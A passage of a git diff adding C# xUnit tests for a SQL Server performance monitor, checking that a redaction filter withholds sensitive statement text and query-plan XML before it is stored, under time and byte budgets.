+                Assert.DoesNotContain(stored.Values, v => v is not null && v.Contains(needle, StringComparison.Ordinal));
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// r2 M-D: a session that spends its budget after three values leaves ids 4 and up ABSENT (not the marker), the
+    /// writer does not return them, and the next cycle's fresh session stores them with their real text.
+    /// </summary>
+    [Fact]
+    public async Task QueryStoreText_DropsTheRowsTheBudgetLeftUnjudged_AndTheNextCycleStoresThem()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live statement filter test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var texts = Enumerable.Range(1, 6)
+                .Select(i => new FetchedQueryText(i, "SELECT " + i + " FROM dbo.t", "0x0" + i))
+                .ToArray();
+
+            var fake = new FakeJudge(TimeSpan.FromSeconds(1));
+            var landed = await QueryStoreTextWriter.WriteAsync(
+                connection, ServerId, Db, texts, DateTime.UtcNow, TestTimeoutSeconds, SessionSpentAfter(fake, 3), ct);
+
+            Assert.Equal(new long[] { 1, 2, 3 }, landed);
+            var afterFirst = await StoredTextsAsync(connection, ct);
+            Assert.Equal(new long[] { 1, 2, 3 }, afterFirst.Keys.OrderBy(k => k).ToArray());
+            Assert.DoesNotContain(afterFirst.Values, v => v == SensitiveStatements.PlaceholderText);
+
+            /* The next cycle: the probe sees ids 4-6 as missing, the fetch ships them, a fresh session judges them. */
+            var second = await QueryStoreTextWriter.WriteAsync(
+                connection, ServerId, Db, texts.Skip(3).ToArray(), DateTime.UtcNow, TestTimeoutSeconds, cancellationToken: ct);
+
+            Assert.Equal(new long[] { 4, 5, 6 }, second);
+            var afterSecond = await StoredTextsAsync(connection, ct);
+            Assert.Equal(6, afterSecond.Count);
+            Assert.Equal("SELECT 5 FROM dbo.t", afterSecond[5]);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// The plan map's digest resolves to a dimension row holding the FILTERED plan: the digest is of the filtered XML,
+    /// the raw plan's digest has no dimension row, the stored plan holds no secret needle and keeps statement 2.
+    /// </summary>
+    [Fact]
+    public async Task QueryStorePlan_DigestResolvesToTheFilteredPlan()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live statement filter test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        var canary = StatementScrubCanary.CanaryPlan();
+        var filtered = new SensitiveStatements.Session().Xml(canary)!;
+        var rawDigest = PayloadDimensions.Digest(canary);
+        var filteredDigest = PayloadDimensions.Digest(filtered);
+        await DeleteRowsAsync(connection, ct, rawDigest, filteredDigest);
+
+        var bodySucceeded = false;
+        try
+        {
+            Assert.NotEqual(canary, filtered);
+
+            var landed = await QueryStorePlanWriter.WriteAsync(
+                connection, ServerId, Db, new[] { new FetchedPlan(1, canary, "0xAAAA") }, DateTime.UtcNow, TestTimeoutSeconds, cancellationToken: ct);
+
+            Assert.Equal(new long[] { 1 }, landed);
+            var map = await MapDigestsAsync(connection, ct);
+            Assert.Equal(filteredDigest, map[1]);
+            Assert.Null(await DimContentAsync(connection, rawDigest, ct));
+
+            var stored = await DimContentAsync(connection, filteredDigest, ct);
+            Assert.Equal(filtered, stored);
+            foreach (var needle in StatementScrubCanary.SecretNeedles)
+            {
+                Assert.DoesNotContain(needle, stored, StringComparison.Ordinal);
+            }
+
+            Assert.Contains(SensitiveStatements.PlaceholderText, stored, StringComparison.Ordinal);
+            foreach (var needle in StatementScrubCanary.KeptNeedles)
+            {
+                Assert.Contains(needle, stored, StringComparison.Ordinal);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt, rawDigest, filteredDigest));
+        }
+    }
+
+    /// <summary>
+    /// r2 M-D, plan side: a plan the budget left unjudged gets NO map row (so the probe reads it as missing and
+    /// refetches it), is not in the returned list, and the next cycle stores it. A plan with NO XML still gets its
+    /// content-less map row.
+    /// </summary>
+    [Fact]
+    public async Task QueryStorePlan_DropsThePlansTheBudgetLeftUnjudged_AndTheNextCycleStoresThem()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live statement filter test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        var plans = Enumerable.Range(1, 4)
+            .Select(i => new FetchedPlan(i, "<ShowPlanXML><BatchSequence><Batch><Statements><StmtSimple StatementText=\"SELECT scrub_qs_" + i + "\"/></Statements></Batch></BatchSequence></ShowPlanXML>", "0x0" + i))
+            .ToArray();
+        var digests = plans.Select(p => PayloadDimensions.Digest(p.PlanXml!)).ToArray();
+        await DeleteRowsAsync(connection, ct, digests);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* A fake judge that spends the budget after the first judged value: whatever a plan's document judges, the
+               first plan is the only one fully judged; the plans after it reach a spent budget. */
+            var fake = new FakeJudge(TimeSpan.FromSeconds(1));
+            var probe = SessionSpentAfter(fake, 1);
+            probe.TryXml(plans[0].PlanXml, out _);
+            var perPlan = fake.Calls;
+            Assert.True(perPlan >= 1, "the fake judge must be asked about at least one value per plan");
+
+            var spent = SessionSpentAfter(new FakeJudge(TimeSpan.FromSeconds(1)), perPlan * 2 + 0.5);
+            var landed = await QueryStorePlanWriter.WriteAsync(
+                connection, ServerId, Db, plans.Append(new FetchedPlan(5, null, "0x05")).ToArray(),
+                DateTime.UtcNow, TestTimeoutSeconds, spent, ct);
+
+            Assert.Equal(new long[] { 1, 2, 5 }, landed);
+            var afterFirst = await MapDigestsAsync(connection, ct);
+            Assert.Equal(new long[] { 1, 2, 5 }, afterFirst.Keys.OrderBy(k => k).ToArray());
+            Assert.Null(afterFirst[5]);
+
+            var second = await QueryStorePlanWriter.WriteAsync(
+                connection, ServerId, Db, plans.Skip(2).ToArray(), DateTime.UtcNow, TestTimeoutSeconds, cancellationToken: ct);
+
+            Assert.Equal(new long[] { 3, 4 }, second);
+            var afterSecond = await MapDigestsAsync(connection, ct);
+            Assert.Equal(5, afterSecond.Count);
+            Assert.Equal(digests[3], afterSecond[4]);
+            Assert.NotNull(await DimContentAsync(connection, digests[3], ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt, digests));
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct, params byte[][] digests)
+    {
+        if (digests.Length > 0)
+        {
+            using var dimension = new NpgsqlCommand("DELETE FROM collect.query_plan_dim WHERE digest = ANY($1)", connection);
+            dimension.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Bytea, digests);
+            await dimension.ExecuteNonQueryAsync(ct);
+        }
+
+        var sql =
+            $"DELETE FROM collect.query_store_plan_map WHERE server_id = {ServerId};" +
+            $"DELETE FROM collect.query_store_text WHERE server_id = {ServerId};";
+        using var cleanup = new NpgsqlCommand(sql, connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubQueryStoreTests.cs b/Darling/Darling.Tests/StatementScrubQueryStoreTests.cs
new file mode 100644
index 0000000000..e934c5a45e
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubQueryStoreTests.cs
@@ -0,0 +1,181 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, #5320 (lane R3): Query Store statement text goes through the statement filter where the collector first
+/// materializes it, which is the one line both Lite's live read and Darling's backfill run. These tests plant the
+/// canary in the collector's input (a <c>DbDataReader</c> from a <c>DataTable</c>), run the read and then
+/// <c>WritePayload</c> through <see cref="StatementScrubRecordingWriter"/>. They are the collection-time census case
+/// for <c>query_store.query_text</c> (registered in <see cref="StatementCollectionCensusCases"/>).
+/// </summary>
+public sealed partial class StatementCollectionCensusTests
+{
+    private const string QueryStoreDb = "QsCanaryDb";
+
+    private sealed class QsNoDeltas : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string key, string metric, long current, DateTime? at = null, int i = 0) => 0;
+
+        public long CalculateDeltaWithInterval(int serverId, string key, string metric, long current, out int seconds, DateTime? at = null, int i = 0)
+        {
+            seconds = 60;
+            return 0;
+        }
+    }
+
+    private static CollectorContext QueryStoreContext() => new()
+    {
+        ServerId = 42,
+        ServerName = "test-server",
+        CollectionTime = new DateTime(2026, 7, 2, 12, 0, 0, DateTimeKind.Utc),
+        Deltas = new QsNoDeltas(),
+        Target = new CollectorTargetInfo(),
+        CurrentDatabaseName = QueryStoreDb,
+    };
+
+    /// <summary>The 56 columns the Query Store read takes by position: only the types matter, the rest are NULL.</summary>
+    private static DataTable QueryStoreTable(params (long QueryId, string? Text)[] rows)
+    {
+        var table = new DataTable();
+        for (var i = 0; i < 56; i++)
+        {
+            Type type = i switch
+            {
+                2 or 5 or 6 or 7 or 44 or 45 or 48 or 50 or 51 or 52 => typeof(string),
+                3 or 4 => typeof(DateTimeOffset),
+                46 => typeof(bool),
+                49 => typeof(int),
+                54 or 55 => typeof(DateTime),
+                _ => typeof(long),
+            };
+            table.Columns.Add("c" + i.ToString(System.Globalization.CultureInfo.InvariantCulture), type);
+        }
+
+        foreach (var (queryId, text) in rows)
+        {
+            var values = new object?[56];
+            for (var i = 0; i < 56; i++)
+            {
+                values[i] = DBNull.Value;
+            }
+
+            values[0] = queryId;
+            values[1] = queryId;
+            values[6] = text is null ? DBNull.Value : text;
+            values[8] = 1L;
+            table.Rows.Add(values);
+        }
+
+        return table;
+    }
+
+    private static async Task<List<QueryStoreCollector.Row>> ReadQueryStoreAsync(DataTable table, bool perItem, CollectorContext context)
+    {
+        await using var reader = table.CreateDataReader();
+        if (perItem)
+        {
+            var rows = new List<QueryStoreCollector.Row>();
+            await QueryStoreCollector.Instance.ReadItemAsync(QueryStoreDb, reader, rows, context, CancellationToken.None);
+            return rows;
+        }
+
+        return await QueryStoreCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
+    }
+
+    /// <summary>
+    /// Census case for query_store.query_text, in both read shapes (the per-database read and the per-item read that
+    /// Azure SQL Database and the backfill use): the written query_text of the canary row is exactly the marker, no
+    /// secret needle is written, and a plain statement is the SAME instance the reader returned. RED on the base: the
+    /// written value held the canary statement.
+    /// </summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task QueryStore_QueryText_IsWithheld(bool perItem)
+    {
+        using var table = QueryStoreTable(
+            (1, StatementScrubCanary.CanaryStatement),
+            (2, StatementScrubCanary.PlainStatement));
+        var context = QueryStoreContext();
+
+        var rows = await ReadQueryStoreAsync(table, perItem, context);
+        Assert.Equal(2, rows.Count);
+
+        var recording = new StatementScrubRecordingWriter();
+        foreach (var row in rows)
+        {
+            QueryStoreCollector.Instance.WritePayload(row, recording, context);
+        }
+
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.False(recording.AnyStringContains(needle), "a written value holds " + needle);
+        }
+
+        Assert.Equal(SensitiveStatements.PlaceholderText, rows[0].QueryText);
+        Assert.Contains(SensitiveStatements.PlaceholderText, recording.Strings);
+        Assert.Contains(recording.Strings, s => ReferenceEquals(s, rows[1].QueryText));
+        Assert.Equal(StatementScrubCanary.PlainStatement, rows[1].QueryText);
+        Assert.True(recording.AnyStringContains("canary_plain_ssf"));
+    }
+
+    /// <summary>
+    /// The byte budget (#1556) counts the RAW text, not the shorter marker, so the cut points do not move because the
+    /// filter ran: a canary row ships the same byte count it did before the filter existed.
+    /// </summary>
+    [Fact]
+    public async Task QueryStore_QueryText_ByteBudgetStillCountsTheRawText()
+    {
+        using var table = QueryStoreTable((1, StatementScrubCanary.CanaryStatement));
+        var context = QueryStoreContext();
+
+        var rows = await ReadQueryStoreAsync(table, perItem: false, context);
+
+        Assert.Equal(SensitiveStatements.PlaceholderText, Assert.Single(rows).QueryText);
+        Assert.Equal(StatementScrubCanary.CanaryStatement.Length * 2L, context.PerItemTextBytesShipped);
+    }
+
+    /// <summary>The read runs under the cycle's session, so a withheld statement shows in the cycle's measurements.</summary>
+    [Fact]
+    public async Task QueryStore_QueryText_CountsTheWithheldValueInTheCycle()
+    {
+        using var table = QueryStoreTable(
+            (1, StatementScrubCanary.CanaryStatement),
+            (2, StatementScrubCanary.PlainStatement));
+        var context = QueryStoreContext();
+
+        await ReadQueryStoreAsync(table, perItem: false, context);
+
+        Assert.Equal(1, context.Measurements.Single(m => m.Label == CollectorContext.StatementScrubNamedMeasurement).Value);
+    }
+
+    /// <summary>The collector's own queries are excluded BEFORE the filter, so the marker never hides the self-filter's text.</summary>
+    [Fact]
+    public async Task QueryStore_QueryText_SelfRowsAreStillSkippedBeforeTheFilter()
+    {
+        using var table = QueryStoreTable(
+            (1, QueryStoreCollector.SelfQueryMarker + " SELECT 1"),
+            (2, StatementScrubCanary.PlainStatement));
+
+        var rows = await ReadQueryStoreAsync(table, perItem: false, QueryStoreContext());
+
+        Assert.Equal(2, Assert.Single(rows).QueryId);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubRecordingWriter.cs b/Darling/Darling.Tests/StatementScrubRecordingWriter.cs
new file mode 100644
index 0000000000..d45d1e8f6e
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubRecordingWriter.cs
@@ -0,0 +1,69 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Collectors;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348: an <see cref="ICollectorRowWriter"/> that remembers every value a definition's <c>WritePayload</c> wrote, in
+/// order, so the collection census can plant a canary in the collector's input, run the read and the write, and
+/// assert on what was written: no written value holds a secret needle, and a plain statement is the SAME instance the
+/// reader returned. A payload written through <see cref="ICollectorRowWriter.PayloadOrDigest"/> is recorded as its
+/// content (the interface's default), with the digest the caller offered kept beside it.
+/// </summary>
+internal sealed class StatementScrubRecordingWriter : ICollectorRowWriter
+{
+    private readonly List<object?> _values = new();
+    private readonly List<(string? Content, string? KnownDigest)> _payloads = new();
+
+    /// <summary>Every value written, in order. A null is a null column.</summary>
+    public IReadOnlyList<object?> Values => _values;
+
+    /// <summary>Every <c>PayloadOrDigest</c> call: the content and the digest the caller already knew.</summary>
+    public IReadOnlyList<(string? Content, string? KnownDigest)> Payloads => _payloads;
+
+    /// <summary>The string values written, in order.</summary>
+    public IEnumerable<string> Strings => _values.OfType<string>();
+
+    /// <summary>True when any written string contains <paramref name="needle"/> (ordinal).</summary>
+    public bool AnyStringContains(string needle) =>
+        Strings.Any(s => s.Contains(needle, StringComparison.Ordinal));
+
+    private ICollectorRowWriter Add(object? v)
+    {
+        _values.Add(v);
+        return this;
+    }
+
+    public ICollectorRowWriter Value(string? value) => Add(value);
+    public ICollectorRowWriter Value(long value) => Add(value);
+    public ICollectorRowWriter Value(long? value) => Add(value);
+    public ICollectorRowWriter Value(int value) => Add(value);
+    public ICollectorRowWriter Value(int? value) => Add(value);
+    public ICollectorRowWriter Value(short value) => Add(value);
+    public ICollectorRowWriter Value(short? value) => Add(value);
+    public ICollectorRowWriter Value(double value) => Add(value);
+    public ICollectorRowWriter Value(double? value) => Add(value);
+    public ICollectorRowWriter Value(decimal value) => Add(value);
+    public ICollectorRowWriter Value(decimal? value) => Add(value);
+    public ICollectorRowWriter Value(bool value) => Add(value);
+    public ICollectorRowWriter Value(bool? value) => Add(value);
+    public ICollectorRowWriter Value(DateTime value) => Add(value);
+    public ICollectorRowWriter Value(DateTime? value) => Add(value);
+    public ICollectorRowWriter NullValue() => Add(null);
+
+    public ICollectorRowWriter PayloadOrDigest(string? content, string? knownDigest)
+    {
+        _payloads.Add((content, knownDigest));
+        return Add(content);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubSnapshotTests.cs b/Darling/Darling.Tests/StatementScrubSnapshotTests.cs
new file mode 100644
index 0000000000..32972915e0
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubSnapshotTests.cs
@@ -0,0 +1,457 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, rows 8, 19 and 20 of the collection census: the live snapshot of running requests
+/// (<c>query_snapshots</c>: query_text, query_plan, live_query_plan), plan correction (<c>plan_correction</c>:
+/// query_text, implementation_script) and the oversized-plan sweep (<c>oversized_plan_backlog</c>: plan_xml). Each
+/// test plants the canary in the collector's input, runs the read and then <c>WritePayload</c> into a
+/// <see cref="StatementScrubRecordingWriter"/>, and asserts on what was written: no secret needle, the statement
+/// column exactly the marker, the plan parseable with the marker in statement 1 and the kept needles in statement 2,
+/// and a plain statement the SAME instance the reader returned.
+/// </summary>
+public sealed partial class StatementCollectionCensusTests
+{
+    private const string Marker = SensitiveStatements.PlaceholderText;
+
+    private static CollectorContext SnapshotContext() => new()
+    {
+        ServerId = 7,
+        ServerName = "ssf-test",
+        CollectionTime = new DateTime(2026, 10, 6, 12, 0, 0, DateTimeKind.Utc),
+        Deltas = new CollectorDeltaCalculator(),
+        CurrentDatabaseName = "ssf_db",
+    };
+
+    /// <summary>A reader shaped like <c>query_snapshots</c>' 35 columns: a session id, then the columns the read
+    /// guards with IsDBNull. Only the statement text and the two plans are set.</summary>
+    private static DataTableReader SnapshotReader(params (string? Text, string? Plan, string? Live)[] rows)
+    {
+        var table = new DataTable("query_snapshots");
+        for (var i = 0; i < 35; i++)
+        {
+            table.Columns.Add("c" + i, typeof(object));
+        }
+
+        var id = 1;
+        foreach (var (text, plan, live) in rows)
+        {
+            var values = new object?[35];
+            for (var i = 0; i < values.Length; i++)
+            {
+                values[i] = DBNull.Value;
+            }
+
+            values[0] = id++;
+            values[3] = (object?)text ?? DBNull.Value;
+            values[4] = (object?)plan ?? DBNull.Value;
+            values[5] = (object?)live ?? DBNull.Value;
+            table.Rows.Add(values);
+        }
+
+        return table.CreateDataReader();
+    }
+
+    private static async Task<(List<QuerySnapshotsCollector.Row> Rows, StatementScrubRecordingWriter Writer)> ReadAndWriteSnapshotsAsync(
+        DataTableReader reader, Func<SensitiveStatements.Session>? session = null)
+    {
+        var context = SnapshotContext();
+        context.ScrubSessionFactory = session;
+        var rows = await QuerySnapshotsCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
+        var writer = new StatementScrubRecordingWriter();
+        foreach (var row in rows)
+        {
+            QuerySnapshotsCollector.Instance.WritePayload(row, writer, context);
+        }
+
+        return (rows, writer);
+    }
+
+    private static void AssertNoSecretNeedle(StatementScrubRecordingWriter writer)
+    {
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.False(writer.AnyStringContains(needle), "a written value still holds " + needle);
+        }
+    }
+
+    private static void AssertFilteredCanaryPlan(string? written)
+    {
+        Assert.NotNull(written);
+        var parsed = System.Xml.Linq.XDocument.Parse(written!);
+        Assert.NotNull(parsed.Root);
+        Assert.Contains(Marker, written!, StringComparison.Ordinal);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, written!, StringComparison.Ordinal);
+        }
+
+        foreach (var kept in StatementScrubCanary.KeptNeedles)
+        {
+            Assert.Contains(kept, written!, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public async Task QuerySnapshots_QueryText_IsWithheld()
+    {
+        var plain = new string(StatementScrubCanary.PlainStatement.AsSpan());
+        var (rows, writer) = await ReadAndWriteSnapshotsAsync(
+            SnapshotReader((StatementScrubCanary.CanaryStatement, null, null), (plain, null, null)));
+
+        Assert.Equal(Marker, rows[0].QueryText);
+        Assert.Same(plain, rows[1].QueryText);
+        AssertNoSecretNeedle(writer);
+        Assert.Contains(Marker, writer.Strings);
+        Assert.Contains(plain, writer.Strings);
+
+        /* The same input judged twice reads the same (the family has no digest, so identity is the text itself). */
+        var (again, _) = await ReadAndWriteSnapshotsAsync(
+            SnapshotReader((StatementScrubCanary.CanaryStatement, null, null), (plain, null, null)));
+        Assert.Equal(rows[0].QueryText, again[0].QueryText);
+        Assert.Equal(rows[1].QueryText, again[1].QueryText);
+    }
+
+    [Fact]
+    public async Task QuerySnapshots_QueryPlan_IsFiltered()
+    {
+        var (rows, writer) = await ReadAndWriteSnapshotsAsync(
+            SnapshotReader((null, StatementScrubCanary.CanaryPlan(), null)));
+
+        AssertNoSecretNeedle(writer);
+        AssertFilteredCanaryPlan(rows[0].QueryPlan);
+        Assert.Null(rows[0].LiveQueryPlan);
+    }
+
+    [Fact]
+    public async Task QuerySnapshots_LiveQueryPlan_IsFiltered()
+    {
+        var (rows, writer) = await ReadAndWriteSnapshotsAsync(
+            SnapshotReader((null, null, StatementScrubCanary.CanaryPlan())));
+
+        AssertNoSecretNeedle(writer);
+        AssertFilteredCanaryPlan(rows[0].LiveQueryPlan);
+        Assert.Null(rows[0].QueryPlan);
+    }
+
+    [Fact]
+    public async Task QuerySnapshots_APlainPlan_IsTheSameInstanceTheReaderReturned()
+    {
+        var plain = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>"
+            + "<StmtSimple StatementText=\"" + StatementScrubCanary.PlainStatement + "\" /></Statements></Batch></BatchSequence></ShowPlanXML>";
+        var (rows, _) = await ReadAndWriteSnapshotsAsync(SnapshotReader((null, plain, plain)));
+
+        Assert.Same(plain, rows[0].QueryPlan);
+        Assert.Same(plain, rows[0].LiveQueryPlan);
+    }
+
+    /// <summary>A reader shaped like plan correction's 38 columns (ordinals 0-37); only the statement text (14) and
+    /// the implementation script (37) are set.</summary>
+    private static DataTableReader PlanCorrectionReader(string? queryText, string? script)
+    {
+        var table = new DataTable("plan_correction");
+        for (var i = 0; i < 38; i++)
+        {
+            table.Columns.Add("c" + i, typeof(object));
+        }
+
+        var values = new object?[38];
+        for (var i = 0; i < values.Length; i++)
+        {
+            values[i] = DBNull.Value;
+        }
+
+        values[14] = (object?)queryText ?? DBNull.Value;
+        values[37] = (object?)script ?? DBNull.Value;
+        table.Rows.Add(values);
+        return table.CreateDataReader();
+    }
+
+    [Fact]
+    public async Task PlanCorrection_QueryText_IsWithheld()
+    {
+        var context = SnapshotContext();
+        var plain = new string(StatementScrubCanary.PlainStatement.AsSpan());
+
+        /* Both reads: the Azure per-database read (ReadAsync) and the per-database item read (ReadItemAsync). */
+        var azure = await PlanCorrectionCollector.Instance.ReadAsync(
+            PlanCorrectionReader(StatementScrubCanary.CanaryStatement, null), context, CancellationToken.None);
+        var item = new List<PlanCorrectionCollector.Row>();
+        await PlanCorrectionCollector.Instance.ReadItemAsync(
+            "ssf_db", PlanCorrectionReader(StatementScrubCanary.CanaryStatement, null), item, context, CancellationToken.None);
+        var kept = await PlanCorrectionCollector.Instance.ReadAsync(
+            PlanCorrectionReader(plain, null), context, CancellationToken.None);
+
+        var writer = new StatementScrubRecordingWriter();
+        foreach (var row in azure.Concat(item).Concat(kept))
+        {
+            PlanCorrectionCollector.Instance.WritePayload(row, writer, context);
+        }
+
+        Assert.Equal(Marker, azure[0].QueryText);
+        Assert.Equal(Marker, item[0].QueryText);
+        Assert.Same(plain, kept[0].QueryText);
+        AssertNoSecretNeedle(writer);
+    }
+
+    [Fact]
+    public async Task PlanCorrection_ImplementationScript_IsWithheld()
+    {
+        var context = SnapshotContext();
+        var item = new List<PlanCorrectionCollector.Row>();
+        await PlanCorrectionCollector.Instance.ReadItemAsync(
+            "ssf_db", PlanCorrectionReader(null, StatementScrubCanary.CanaryStatement), item, context, CancellationToken.None);
+        var plain = new string(StatementScrubCanary.PlainStatement.AsSpan());
+        var kept = await PlanCorrectionCollector.Instance.ReadAsync(
+            PlanCorrectionReader(null, plain), context, CancellationToken.None);
+
+        var writer = new StatementScrubRecordingWriter();
+        foreach (var row in item.Concat(kept))
+        {
+            PlanCorrectionCollector.Instance.WritePayload(row, writer, context);
+        }
+
+        Assert.Equal(Marker, item[0].ImplementationScript);
+        Assert.Same(plain, kept[0].ImplementationScript);
+        AssertNoSecretNeedle(writer);
+    }
+
+    /* ---- oversized_plan_backlog.plan_xml: the sweep's judging step ---- */
+
+    [Fact]
+    public void OversizedPlanSweep_PlanXml_IsFilteredBeforeItIsStored()
+    {
+        var (verdict, stored, error) = OversizedPlanBacklogSweep.JudgeFetchedPlan(
+            new SensitiveStatements.Session(), StatementScrubCanary.CanaryPlan(), 0);
+
+        Assert.Equal(OversizedPlanBacklogSweep.PlanFetchVerdict.Captured, verdict);
+        Assert.Null(error);
+        AssertFilteredCanaryPlan(stored);
+    }
+
+    [Fact]
+    public void OversizedPlanSweep_PlanXml_APlainPlanIsTheSameInstance()
+    {
+        var plain = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>"
+            + "<StmtSimple StatementText=\"" + StatementScrubCanary.PlainStatement + "\" /></Statements></Batch></BatchSequence></ShowPlanXML>";
+
+        var (verdict, stored, _) = OversizedPlanBacklogSweep.JudgeFetchedPlan(new SensitiveStatements.Session(), plain, 0);
+
+        Assert.Equal(OversizedPlanBacklogSweep.PlanFetchVerdict.Captured, verdict);
+        Assert.Same(plain, stored);
+    }
+
+    [Fact]
+    public void OversizedPlanSweep_PlanXml_APlanTheBudgetCannotCover_StaysClaimableInsteadOfStoringTheMarker()
+    {
+        /* A session whose budget is already spent: the fetch is Failed (the row stays claimable and the next pass,
+           with a fresh budget, fetches it again), and nothing is handed to the store. */
+        var spent = new SensitiveStatements.Session(null, null, TimeSpan.Zero, null);
+
+        var (verdict, stored, error) = OversizedPlanBacklogSweep.JudgeFetchedPlan(spent, StatementScrubCanary.CanaryPlan(), 0);
+
+        Assert.Equal(OversizedPlanBacklogSweep.PlanFetchVerdict.Failed, verdict);
+        Assert.Null(stored);
+        Assert.False(string.IsNullOrEmpty(error));
+        Assert.Equal(1, spent.Unjudged);
+    }
+
+    /* A session whose budget has room when the plan starts and runs out inside the plan: each judged value costs a
+       second against a 1.5-second budget, so the plan itself is what spends it. */
+    private static SensitiveStatements.Session SessionThePlanOverruns()
+    {
+        var now = TimeSpan.Zero;
+        return new SensitiveStatements.Session(
+            _ =>
+            {
+                now += TimeSpan.FromSeconds(1);
+                return SensitiveStatements.Verdict.Clean;
+            },
+            () => now,
+            TimeSpan.FromMilliseconds(1500),
+            new SensitiveStatements.TimedOutMemo());
+    }
+
+    [Fact]
+    public void OversizedPlanSweep_APlanThatOverrunsTheBudgetOnItsFirstAttempt_StaysClaimable()
+    {
+        var session = SessionThePlanOverruns();
+        Assert.False(session.Spent);
+
+        var (verdict, stored, error) = OversizedPlanBacklogSweep.JudgeFetchedPlan(session, StatementScrubCanary.CanaryPlan(), 0);
+
+        Assert.Equal(OversizedPlanBacklogSweep.PlanFetchVerdict.JudgeTimedOut, verdict);
+        Assert.Null(stored);
+        Assert.False(string.IsNullOrEmpty(error));
+        Assert.True(session.Spent);
+    }
+
+    private const string OnePlainValuePlan = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>"
+        + "<StmtSimple StatementText=\"SELECT 1\" /></Statements></Batch></BatchSequence></ShowPlanXML>";
+
+    [Fact]
+    public void OversizedPlanSweep_APlanThatOverrunsAPartlySpentBudget_StaysClaimable_EvenOnItsLastAttempt()
+    {
+        /* #5367 review, A-M1: an earlier plan in the batch used part of the budget (it is not spent), and this plan
+           overruns what is left. Alone it might judge in a second, so it says nothing about the plan: it must not be
+           retired as the marker, however many attempts the row has. */
+        var session = SessionThePlanOverruns();
+        Assert.True(OversizedPlanBacklogSweep.JudgeFetchedPlan(session, OnePlainValuePlan, 0).Verdict
